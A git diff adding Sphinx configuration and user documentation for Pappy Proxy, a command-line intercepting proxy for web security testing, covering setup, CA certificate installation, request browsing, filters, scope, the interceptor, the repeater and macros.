+# If true, the current module name will be prepended to all description
+# unit titles (such as .. function::).
+#add_module_names = True
+
+# If true, sectionauthor and moduleauthor directives will be shown in the
+# output. They are ignored by default.
+#show_authors = False
+
+# The name of the Pygments (syntax highlighting) style to use.
+pygments_style = 'sphinx'
+
+# A list of ignored prefixes for module index sorting.
+#modindex_common_prefix = []
+
+# If true, keep warnings as "system message" paragraphs in the built documents.
+#keep_warnings = False
+
+# If true, `todo` and `todoList` produce output, else they produce nothing.
+todo_include_todos = False
+
+
+# -- Options for HTML output ----------------------------------------------
+
+# The theme to use for HTML and HTML Help pages.  See the documentation for
+# a list of builtin themes.
+html_theme = 'classic'
+
+# Theme options are theme-specific and customize the look and feel of a theme
+# further.  For a list of options available for each theme, see the
+# documentation.
+#html_theme_options = {}
+
+# Add any paths that contain custom themes here, relative to this directory.
+#html_theme_path = []
+
+# The name for this set of Sphinx documents.  If None, it defaults to
+# "<project> v<release> documentation".
+#html_title = None
+
+# A shorter title for the navigation bar.  Default is the same as html_title.
+#html_short_title = None
+
+# The name of an image file (relative to this directory) to place at the top
+# of the sidebar.
+#html_logo = None
+
+# The name of an image file (within the static path) to use as favicon of the
+# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
+# pixels large.
+#html_favicon = None
+
+# Add any paths that contain custom static files (such as style sheets) here,
+# relative to this directory. They are copied after the builtin static files,
+# so a file named "default.css" will overwrite the builtin "default.css".
+html_static_path = ['_static']
+
+# Add any extra paths that contain custom files (such as robots.txt or
+# .htaccess) here, relative to this directory. These files are copied
+# directly to the root of the documentation.
+#html_extra_path = []
+
+# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
+# using the given strftime format.
+#html_last_updated_fmt = '%b %d, %Y'
+
+# If true, SmartyPants will be used to convert quotes and dashes to
+# typographically correct entities.
+#html_use_smartypants = True
+
+# Custom sidebar templates, maps document names to template names.
+#html_sidebars = {}
+
+# Additional templates that should be rendered to pages, maps page names to
+# template names.
+#html_additional_pages = {}
+
+# If false, no module index is generated.
+#html_domain_indices = True
+
+# If false, no index is generated.
+#html_use_index = True
+
+# If true, the index is split into individual pages for each letter.
+#html_split_index = False
+
+# If true, links to the reST sources are added to the pages.
+#html_show_sourcelink = True
+
+# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
+#html_show_sphinx = True
+
+# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
+#html_show_copyright = True
+
+# If true, an OpenSearch description file will be output, and all pages will
+# contain a <link> tag referring to it.  The value of this option must be the
+# base URL from which the finished HTML is served.
+#html_use_opensearch = ''
+
+# This is the file name suffix for HTML files (e.g. ".xhtml").
+#html_file_suffix = None
+
+# Language to be used for generating the HTML full-text search index.
+# Sphinx supports the following languages:
+#   'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
+#   'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
+#html_search_language = 'en'
+
+# A dictionary with options for the search language support, empty by default.
+# Now only 'ja' uses this config value
+#html_search_options = {'type': 'default'}
+
+# The name of a javascript file (relative to the configuration directory) that
+# implements a search results scorer. If empty, the default will be used.
+#html_search_scorer = 'scorer.js'
+
+# Output file base name for HTML help builder.
+htmlhelp_basename = 'PappyProxydoc'
+
+# -- Options for LaTeX output ---------------------------------------------
+
+latex_elements = {
+# The paper size ('letterpaper' or 'a4paper').
+#'papersize': 'letterpaper',
+
+# The font size ('10pt', '11pt' or '12pt').
+#'pointsize': '10pt',
+
+# Additional stuff for the LaTeX preamble.
+#'preamble': '',
+
+# Latex figure (float) alignment
+#'figure_align': 'htbp',
+}
+
+# Grouping the document tree into LaTeX files. List of tuples
+# (source start file, target name, title,
+#  author, documentclass [howto, manual, or own class]).
+latex_documents = [
+  (master_doc, 'PappyProxy.tex', u'Pappy Proxy Documentation',
+   u'Rob Glew', 'manual'),
+]
+
+# The name of an image file (relative to this directory) to place at the top of
+# the title page.
+#latex_logo = None
+
+# For "manual" documents, if this is true, then toplevel headings are parts,
+# not chapters.
+#latex_use_parts = False
+
+# If true, show page references after internal links.
+#latex_show_pagerefs = False
+
+# If true, show URL addresses after external links.
+#latex_show_urls = False
+
+# Documents to append as an appendix to all manuals.
+#latex_appendices = []
+
+# If false, no module index is generated.
+#latex_domain_indices = True
+
+
+# -- Options for manual page output ---------------------------------------
+
+# One entry per manual page. List of tuples
+# (source start file, name, description, authors, manual section).
+man_pages = [
+    (master_doc, 'pappyproxy', u'Pappy Proxy Documentation',
+     [author], 1)
+]
+
+# If true, show URL addresses after external links.
+#man_show_urls = False
+
+
+# -- Options for Texinfo output -------------------------------------------
+
+# Grouping the document tree into Texinfo files. List of tuples
+# (source start file, target name, title, author,
+#  dir menu entry, description, category)
+texinfo_documents = [
+  (master_doc, 'PappyProxy', u'Pappy Proxy Documentation',
+   author, 'PappyProxy', 'One line description of project.',
+   'Miscellaneous'),
+]
+
+# Documents to append as an appendix to all manuals.
+#texinfo_appendices = []
+
+# If false, no module index is generated.
+#texinfo_domain_indices = True
+
+# How to display URL addresses: 'footnote', 'no', or 'inline'.
+#texinfo_show_urls = 'footnote'
+
+# If true, do not generate a @detailmenu in the "Top" node's menu.
+#texinfo_no_detailmenu = False
+
+
+# Example configuration for intersphinx: refer to the Python standard library.
+intersphinx_mapping = {'https://docs.python.org/': None}
+
+def maybe_skip_member(app, what, name, obj, skip, options):
+    skip_vals = ('__doc__', '__module__', '__weakref__')
+    if name in skip_vals:
+        return True
+    if obj.__doc__ is None:
+        return True
+    if 'NOINDEX' in obj.__doc__:
+        return True
+    return False
+
+def setup(app):
+    app.connect('autodoc-skip-member', maybe_skip_member)

docs/source/index.rst

@@ -0,0 +1,24 @@
+.. Pappy Proxy documentation master file, created by
+   sphinx-quickstart on Sat Dec 12 11:17:09 2015.
+   You can adapt this file completely to your liking, but it should at least
+   contain the root `toctree` directive.
+
+Welcome to Pappy Proxy's documentation!
+=======================================
+
+Contents:
+
+.. toctree::
+   :maxdepth: 2
+
+   overview
+   tutorial
+
+
+Indices and tables
+==================
+
+* :ref:`genindex`
+* :ref:`modindex`
+* :ref:`search`
+

docs/source/modules.rst

@@ -0,0 +1,7 @@
+pappyproxy
+==========
+
+.. toctree::
+   :maxdepth: 4
+
+   pappyproxy

docs/source/overview.rst

@@ -0,0 +1,927 @@
+The Pappy Proxy
+===============
+
+Introduction
+------------
+
+The Pappy (**P**\ roxy **A**\ ttack **P**\ roxy **P**\ rox\ **Y**) Proxy
+is an intercepting proxy for performing web application security
+testing. Its features are often similar, or straight up rippoffs from
+`Burp Suite <https://portswigger.net/burp/>`__. However, Burp Suite is
+neither open source nor a command line tool, thus making a proxy like
+Pappy inevitable. The project is still in its early stages, so there are
+bugs and only the bare minimum features, but it should be able to do
+some cool stuff soon (I'm already using it for realtm work).
+
+Contributing
+------------
+
+**I am taking any and all feature requests.** If you've used Burp and
+had any inconvenience with it, tell me about it and I'll do everything
+in my power to make sure Pappy doesn't have those issues. Or even
+better, if you want Burp to do something that it doesn't already, let me
+know so that I can [STRIKEOUT:use it to stomp them into the dust]
+improve my project.
+
+If you're brave and want to try and contribute code, please let me know.
+Right now the codebase is a giant clusterfun which I have refactored a
+few times already, but I would be more than happy to find a stable part
+of the codebase that you can contribute to.
+
+How to Use It
+=============
+
+Installation
+------------
+
+Pappy supports OS X and Linux (sorry Windows). Installation requires
+``pip`` or some other command that can handle a ``setup.py`` with
+requirements. Once the requirements are installed, you can check that it
+installed correctly by running ``pappy -l`` to start the proxy.
+
+::
+
+    $ git clone --recursive https://github.com/roglew/pappy-proxy.git
+    $ cd pappy-proxy
+    $ pip install .
+
+Quickstart
+----------
+
+Pappy projects take up an entire directory. While a full directory may
+seem like a dumb idea compared to storing everything in a zip file, but
+when it comes to generating attack strips and things, it's easier to
+just keep everything in a directory so you can view/edit files with
+other programs. To start a project, do something like:
+
+::
+
+    $ mkdir test_project
+    $ cd test_project 
+    $ pappy
+    Copying default config to directory
+    Proxy is listening on port 8000
+    itsPappyTime> exit
+    $ ls
+    data.db      project_config.json
+    $ 
+
+And that's it! The proxy will by default be running on port 8000 and
+bound to localhost (to keep the hackers out). You can modify the
+port/interface in ``config.json``. You can list all your intercepted
+requests with ``ls``, view a full request with ``vfq <reqid>`` or view a
+full response with ``vfs <reqid>``. No you can't delete them yet. I'm
+working on it.
+
+Lite Mode
+---------
+
+If you don't want to dirty up a directory, you can run Pappy in "lite"
+mode. Pappy will use the default configuration settings and will create
+a temporary datafile in ``/tmp`` to use. When you quit, the file will be
+deleted. If you want to run Pappy in line mode, run Pappy with either
+``-l`` or ``--lite``.
+
+Example:
+
+::
+
+    $ pappy -l
+    Temporary datafile is /tmp/tmpw4mGv2
+    Proxy is listening on port 8000
+    itsPappyTime> quit
+    Deleting temporary datafile
+    $ 
+
+Adding The CA Cert to Your Browser
+----------------------------------
+
+In order for Pappy to view data sent using HTTPS, you need to add a
+generated CA cert (``certificate.crt``) to your browser. Certificates
+are generated using the ``gencerts`` command and are by default stored
+in the same directory as ``pappy.py``. This allows Pappy to act as a CA
+and MITM HTTPS connections. I believe that Firefox and Chrome ignore
+keychain/system certs, so you will have to install the CA cert to the
+browsers instead of (or in addition to) adding the cert to your
+keychain.
+
+Firefox
+~~~~~~~
+
+You can add the CA cert to Firefox by going to
+``Preferences -> Advanced -> View Certificates -> Authorities -> Import``
+and selecting the ``certificate.crt`` file in the ``certs`` directory.
+
+Chrome
+~~~~~~
+
+You can add the CA cert to Chrome by going to
+``Settings -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities -> Import``
+and selecting the ``certificate.crt`` file in the ``certs`` directory.
+
+Safari
+~~~~~~
+
+For Safari (on macs, obviously), you need to add the CA cert to your
+system keychain. You can do this by double clicking on the CA cert and
+following the prompts.
+
+Internet Explorer
+~~~~~~~~~~~~~~~~~
+
+I didn't search too hard for instructions on this (since Pappy doesn't
+support windows) and I don't own a Windows machine to try this, so if
+you have trouble, I'm not the one to ask. According to Google you can
+double-click the cert to install it to the system, or you can do
+``Tools -> Content -> Certificates -> Trusted Root Certificates -> Import``.
+
+Configuration
+-------------
+
+Configuration for each project is done in the ``config.json`` file. The
+file is a JSON-formatted dictionary that contains settings for the
+proxy. The following fields can be used to configure the proxy:
+
++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Key                        | Value                                                                                                                                                                                                                                                                                                                                                                                 |
++============================+=======================================================================================================================================================================================================================================================================================================================================================================================+
+| ``data_file``              | The file where requests and images will be stored                                                                                                                                                                                                                                                                                                                                     |
++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``debug_dir`` (optional)   | Where connection debug info should be stored. If not present, debug info is not saved to a file.                                                                                                                                                                                                                                                                                      |
++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``cert_dir``               | Where the CA cert and the private key for the CA cert are stored                                                                                                                                                                                                                                                                                                                      |
++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``proxy_listeners``        | A list of dicts which describe which ports the proxy will listen on. Each item is a dict with "port" and "interface" values which determine which port and interface to listen on. For example, if port=8000 and the interface is 127.0.0.1, the proxy will only accept connections from localhost on port 8000. To accept connections from anywhere, set the interface to 0.0.0.0.   |
++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+
+The following tokens will also be replaced with values:
+
++------------------+------------------------------------------------+
+| Token            | Replaced with                                  |
++==================+================================================+
+| ``{PAPPYDIR}``   | The directory where Pappy's files are stored   |
++------------------+------------------------------------------------+
+
+Generating Pappy's CA Cert
+--------------------------
+
+In order to intercept and modify requests to sites that use HTTPS, you
+have to generate and install CA certs to your browser. You can do this
+by running the ``gencerts`` command in Pappy. By default, certs are
+stored in the same directory as Pappy's script files. However, you can
+change where Pappy will look for the private key file in the config
+file. In addition, you can give the ``gencerts`` command an argument to
+have it put the generated certs in a different directory.
+
++----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Command                                | Description                                                                                                                                                    |
++========================================+================================================================================================================================================================+
+| ``gencerts [/path/to/put/certs/in]``   | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic. Also generates the private key for that cert in the same directory.   |
++----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
+
+Browsing Recorded Requests/Responses
+------------------------------------
+
+The following commands can be used to view requests and responses
+
++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Command            | Aliases                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                        |
++====================+================================+====================================================================================================================================================================================================================================================================================================================================================================================================================================+
+| ``ls [a|<num>``]   | list, ls                       | List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context.   |
++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``sm``             | sm, site\_map                  | Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response.                                                                                                                                                                                                                                                                                                           |
++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``viq <id(s)>``    | view\_request\_info, viq       | View additional information about requests. Includes the target port, if SSL was used, applied tags, and other information.                                                                                                                                                                                                                                                                                                        |
++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``vfq <id(s)>``    | view\_full\_request, vfq       | [V]iew [F]ull Re[Q]uest, prints the full request including headers and data.                                                                                                                                                                                                                                                                                                                                                       |
++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``vhq <id(s)>``    | view\_request\_headers, vhq    | [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request.                                                                                                                                                                                                                                                                                                                                                             |
++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``vfs <id(s)>``    | view\_full\_response, vfs      | [V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data.                                                                                                                                                                                                                                                                                                                           |
++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``vhs <id(s)>``    | view\_response\_headers, vhs   | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request.                                                                                                                                                                                                                                                                                                                                 |
++--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+
+The table shown will have the following columns:
+
++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Label     | Description                                                                                                                                                                                                            |
++===========+========================================================================================================================================================================================================================+
+| ID        | The request ID of that request. Used to identify the request for other commands.                                                                                                                                       |
++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Method    | The method(/http verb) for the request                                                                                                                                                                                 |
++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Host      | The host that the request was sent to                                                                                                                                                                                  |
++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Path      | The path of the request                                                                                                                                                                                                |
++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| S-Code    | The status code of the response                                                                                                                                                                                        |
++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Req Len   | The length of the data submitted                                                                                                                                                                                       |
++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Rsp Len   | The length of the data returned in the response                                                                                                                                                                        |
++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Time      | The time in seconds it took to complete the request                                                                                                                                                                    |
++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Mngl      | If the request or response were mangled with the interceptor. If the request was mangled, the column will show 'q'. If the response was mangled, the column will show 's'. If both were mangled, it will show 'q/s'.   |
++-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+
+Tags
+----
+
+You can apply tags to a request and use filters to view specific tags.
+The following commands can be used to apply tags to requests:
+
++---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+
+| Command                   | Aliases   | Description                                                                                                   |
++===========================+===========+===============================================================================================================+
+| ``tag <tag> [id(s)]``     | tag       | Apply a tag to the given requests. If no IDs are given, the tag will be applied to all in-context requests.   |
++---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+
+| ``untag <tag> [id(s)]``   | untag     | Remove a tag from the given ids. If no IDs are given, the tag is removed from every in-context request.       |
++---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+
+| ``clrtag <id(s)>``        | clrtag    | Removes all tags from the given ids.                                                                          |
++---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+
+
+Request IDs
+-----------
+
+Request IDs are how you identify a request. You can see it when you run
+``ls``. In addition, you can prepend an ID with prefixes to get requests
+or responses associated with the request (for example its unmangled
+request or response) Here are the valid prefixes:
+
++----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Prefix   | Description                                                                                                                                                                                                             |
++==========+=========================================================================================================================================================================================================================+
+| ``u``    | If the request was mangled, prefixing the ID with ``u`` will result in the unmangled version of the request. The resulting request will not have an associated response because it was never submitted to the server.   |
++----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``s``    | If the response was mangled, prefixing the request ID ``s`` will result in the same request but its associated response will be the unmangled version.                                                                  |
++----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+
+I know it sounds kind of weird, but here are some example commands that
+will hopefully make things clearer. Suppose request 1 had its request
+mangled, and request 2 had its response mangled.
+
+-  ``vfq 1`` Prints the mangled version of request 1
+-  ``vfq u1`` Prints the unmangled version of request 1
+-  ``rp u1`` Open the repeater with the unmangled version of request 1
+-  ``vfs u1`` Throws an error because the unmangled version was never
+   submitted
+-  ``vfs s1`` Throws an error because the response for request 1 was
+   never mangled
+-  ``vfs 2`` Prints the mangled response of request 2
+-  ``vfs s2`` Prints the unmangled response of request 2
+-  ``vfq u2`` Throws an error because request 2's request was never
+   mangled
+-  ``vfs u2`` Throws an error because request 2's request was never
+   mangled
+
+Passing Multiple Request IDs to a Command
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some arguments can take multiple IDs for an argument. To pass multiple
+IDs to a command, separate the IDs with commas (no spaces!). A few
+examples:
+
+-  ``viq 1,2,u3`` View information about requests 1, 2, and the
+   unmangled version of 3
+-  ``gma foo 4,5,6`` Generate a macro with definitions for requests 4,
+   5, and 6
+
+Context
+-------
+
+The context is a set of filters that define which requests are
+considered "active". Only requests in the current context are displayed
+with ``ls``, and eventually contexts will be how Pappy will manage
+requests for group operations. By default, the context includes every
+single request that passes through the proxy. You can limit down the
+current context by applying filters. Filters apply rules such as "the
+response code must equal 500" or "the host must contain google.com".
+Once you apply one or more filters, only requests/responses which pass
+every active filter will be a part of the current context.
+
++-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
+| Command                 | Aliases             | Description                                                                                                                                    |
++=========================+=====================+================================================================================================================================================+
+| ``f <filter string>``   | filter, fl, f       | Add a filter that limits which requests are included in the current context. See the Filter String section for how to create a filter string   |
++-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``fc``                  | filter\_clear, fc   | Clears the filters and resets the context to contain all requests and responses. Ignores scope                                                 |
++-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``fls``                 | filter\_list, fls   | Print the filters that make up the current context                                                                                             |
++-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
+
+Filter Strings
+--------------
+
+Filter strings define a condition that a request/response pair must pass
+to be part of a context. Most filter strings have the following format:
+
+::
+
+    <field> <comparer> <value>
+
+Where ``<field>`` is some part of the request/response, ``<comparer>``
+is some comparison to ``<value>``. Also **if you prefix a comparer with
+'n' it turns it into a negation.** For example, if you wanted a filter
+that only matches requests to target.org, you could use the following
+filter string:
+
+::
+
+    host is target.org
+
+    field = "host"
+    comparer = "is"
+    value = "target.org"
+
+For fields that are a list of key/value pairs (headers, get params, post
+params, and cookies) you can use the following format:
+
+::
+
+    <field> <comparer1> <value1>[ <comparer2> <value2>]
+
+This is a little more complicated. If you don't give comparer2/value2,
+the filter will pass any pair where the key or the value matches
+comparer1 and value1. If you do give comparer2/value2, the key must
+match comparer1/value1 and the value must match comparer2/value2 For
+example:
+
+::
+
+    Filter A:
+        cookie contains Session
+
+    Filter B:
+        cookie contains Session contains 456
+
+    Filter C:
+        cookie ncontains Ultra
+
+    Cookie: SuperSession=abc123
+    Matches A and C but not B
+
+    Cookie: UltraSession=abc123456
+    Matches both A and B but not C
+
+List of fields
+~~~~~~~~~~~~~~
+
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| Field Name   | Aliases                        | Description                                                                      | Format      |
++==============+================================+==================================================================================+=============+
+| all          | all                            | The entire request represented as one string                                     | String      |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| host         | host, domain, hs, dm           | The target host (ie www.target.com)                                              | String      |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| path         | path, pt                       | The path of the url (ie /path/to/secrets.php)                                    | String      |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| body         | body, data, bd, dt             | The body (data section) of either the request or the response                    | String      |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| verb         | verb, vb                       | The HTTP verb of the request (ie GET, POST)                                      | String      |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| param        | param, pm                      | Either the get or post parameters                                                | Key/Value   |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| header       | header, hd                     | An HTTP header (ie User-Agent, Basic-Authorization) in the request or response   | Key/Value   |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| rawheaders   | rawheaders, rh                 | The entire header section (as one string) of either the head or the response     | String      |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| sentcookie   | sentcookie, sck                | A cookie sent in a request                                                       | Key/Value   |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| setcookie    | setcookie, stck                | A cookie set by a response                                                       | Key/Value   |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| statuscode   | statuscode, sc, responsecode   | The response code of the response                                                | Numeric     |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+| tag          | tag                            | Any of the tags applied to the request                                           | String      |
++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
+
+List of comparers
+~~~~~~~~~~~~~~~~~
+
++--------------+------------------+-----------------------------------------------------------------+
+| Field Name   | Aliases          | Description                                                     |
++==============+==================+=================================================================+
+| is           | is               | Exact string match                                              |
++--------------+------------------+-----------------------------------------------------------------+
+| contains     | contains, ct     | A contain B is true if B is a substring of A                    |
++--------------+------------------+-----------------------------------------------------------------+
+| containsr    | containsr, ctr   | A containr B is true if A matches regexp B                      |
++--------------+------------------+-----------------------------------------------------------------+
+| exists       | exists, ex       | A exists B if A is not an empty string (likely buggy)           |
++--------------+------------------+-----------------------------------------------------------------+
+| Leq          | Leq              | A Leq B if A's length equals B (B must be a number)             |
++--------------+------------------+-----------------------------------------------------------------+
+| Lgt          | Lgt              | A Lgt B if A's length is greater than B (B must be a number )   |
++--------------+------------------+-----------------------------------------------------------------+
+| Llt          | Llt              | A Llt B if A's length is less than B (B must be a number)       |
++--------------+------------------+-----------------------------------------------------------------+
+| eq           | eq               | A eq B if A = B (A and B must be a number)                      |
++--------------+------------------+-----------------------------------------------------------------+
+| gt           | gt               | A gt B if A > B (A and B must be a number)                      |
++--------------+------------------+-----------------------------------------------------------------+
+| lt           | lt               | A lt B if A < B (A and B must be a number)                      |
++--------------+------------------+-----------------------------------------------------------------+
+
+Scope
+-----
+
+Scope is a set of rules to define whether Pappy should mess with a
+request. You define the scope by setting the context to what you want
+the scope to be and running ``scope_save``. The scope is saved in
+data.db and is automatically restored when using the same project
+directory.
+
+Any requests which don't match all the filters in the scope will be
+passed straight to the browser and will not be caught by the interceptor
+or recorded in the database. This is useful to make sure you don't
+accidentally do something like log in to your email through the proxy
+and have your plaintext username/password stored and accidentally shown
+to your coworkers.
+
++--------------------+---------------------------+------------------------------------------------------+
+| Command            | Aliases                   | Description                                          |
++====================+===========================+======================================================+
+| ``scope_save``     | ``scope_save``            | Set the current context to be the scope              |
++--------------------+---------------------------+------------------------------------------------------+
+| ``sr``             | ``scope_reset``, ``sr``   | Set the current context to the scope                 |
++--------------------+---------------------------+------------------------------------------------------+
+| ``scope_delete``   | ``scope_delete``          | Clear the scope (everything's in scope!)             |
++--------------------+---------------------------+------------------------------------------------------+
+| ``scope_list``     | ``scope_list``, ``sls``   | List all the filters that are applied to the scope   |
++--------------------+---------------------------+------------------------------------------------------+
+
+Built-In Filters
+~~~~~~~~~~~~~~~~
+
+Pappy also includes some built in filters that you can apply. These are
+things that you may want to filter by but may be too tedius to type out.
+The ``fbi`` command also supports tab completion.
+
++-----------------+-----------------------------------------+
+| Filter          | Description                             |
++=================+=========================================+
+| ``not_image``   | Matches anything that isn't an image.   |
++-----------------+-----------------------------------------+
+
++--------------------+-------------------------------+--------------------------------------------------+
+| Command            | Aliases                       | Description                                      |
++====================+===============================+==================================================+
+| ``fbi <filter>``   | ``builtin_filter``, ``fbi``   | Apply a built-in filter to the current context   |
++--------------------+-------------------------------+--------------------------------------------------+
+
+Interceptor
+-----------
+
+This feature is like Burp's proxy with "Intercept Mode" turned on,
+except it's not turned on unless you explicitly turn it on. When the
+proxy gets a request while in intercept mode, it lets you edit it before
+it forwards it to the server. In addition, it can stop responses from
+the server and let you edit them before they get forwarded to the
+browser. When you run the command, you can pass ``request`` and/or
+``response`` as arguments to say whether you would like to intercept
+requests and/or responses. Only in-scope requests/responses will be
+intercepted (see Scope section).
+
+The interceptor will use your EDITOR variable to decide which editor to
+edit the request/response with. If no editor variable is set, it will
+default to ``vi``.
+
+To forward a request, edit it, save the file, then quit.
+
++---------------------+-------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Command             | Aliases                 | Description                                                                                                                                                                                                     |
++=====================+=========================+=================================================================================================================================================================================================================+
+| ``ic <req,rsp>+``   | ``intercept``, ``ic``   | Begins interception mode. Press enter to leave interception mode and return to the command prompt. Pass in ``request`` to intercept requests, ``response`` to intercept responses, or both to intercept both.   |
++---------------------+-------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+
+::
+
+    Intercept both requests and responses:
+    > ic requests responses
+    > ic req rsp
+
+    Intercept just requests:
+    > ic requests
+    > ic req
+
+    Intercept just responses:
+    > ic responses
+    > ic rsp
+
+    Be totally useless:
+    > ic
+
+Repeater
+--------
+
+This feature is like Burp's repeater (yes, really). You choose a request
+and Pappy will open vim in a split window with your request on the left
+and the original response on the right. You can make changes to the
+request and then run ":RepeaterSubmitBuffer" to submit the modified
+request. The response will be displayed on the right. This command is
+bound to ``<leader>f`` by default, but you can rebind it in your vimrc
+(I think, dunno if vim will complain if it's undefined). This command
+will submit whatever buffer your cursor is in, so make sure it's in the
+request buffer.
+
+To drop a request, delete everything, save and quit (``ggdG:wq``).
+
+When you're done with repeater, run ":qa!" to avoid having to save
+changes to nonexistent files.
+
++---------------+----------------+----------------------------------------------+
+| Command       | Aliases        | Description                                  |
++===============+================+==============================================+
+| ``rp <id>``   | repeater, rp   | Open the specified request in the repeater   |
++---------------+----------------+----------------------------------------------+
+
++----------------------------+--------------+----------------------------------------------------------------------------------------------------+
+| Vim Command                | Keybinding   | Action                                                                                             |
++============================+==============+====================================================================================================+
+| ``RepeaterSubmitBuffer``   | f            | Submit the current buffer, split the windows vertically, and show the result in the right window   |
++----------------------------+--------------+----------------------------------------------------------------------------------------------------+
+
+Macros
+------
+
+Macros are Pappy's version of Burp's intruder. You can use macros to
+make automated requests through the proxy and save them to the data
+file. A macro file is any python script file in the current directory
+that is in the form ``macro_<name>.py``. An example project directory
+with macros would be:
+
+::
+
+    $ ls -l
+    -rw-r--r-- 1 scaryhacker wheel     150 Nov 26 11:17 config.json
+    -rw------- 1 scaryhacker wheel 2639872 Nov 26 17:18 data.db
+    -rw-r--r-- 1 scaryhacker wheel     471 Nov 26 18:42 macro_blank.py
+    -rw-r--r-- 1 scaryhacker wheel     264 Nov 26 18:49 macro_hackthensa.py
+    -rw-r--r-- 1 scaryhacker wheel    1261 Nov 26 18:37 macro_testgen.py
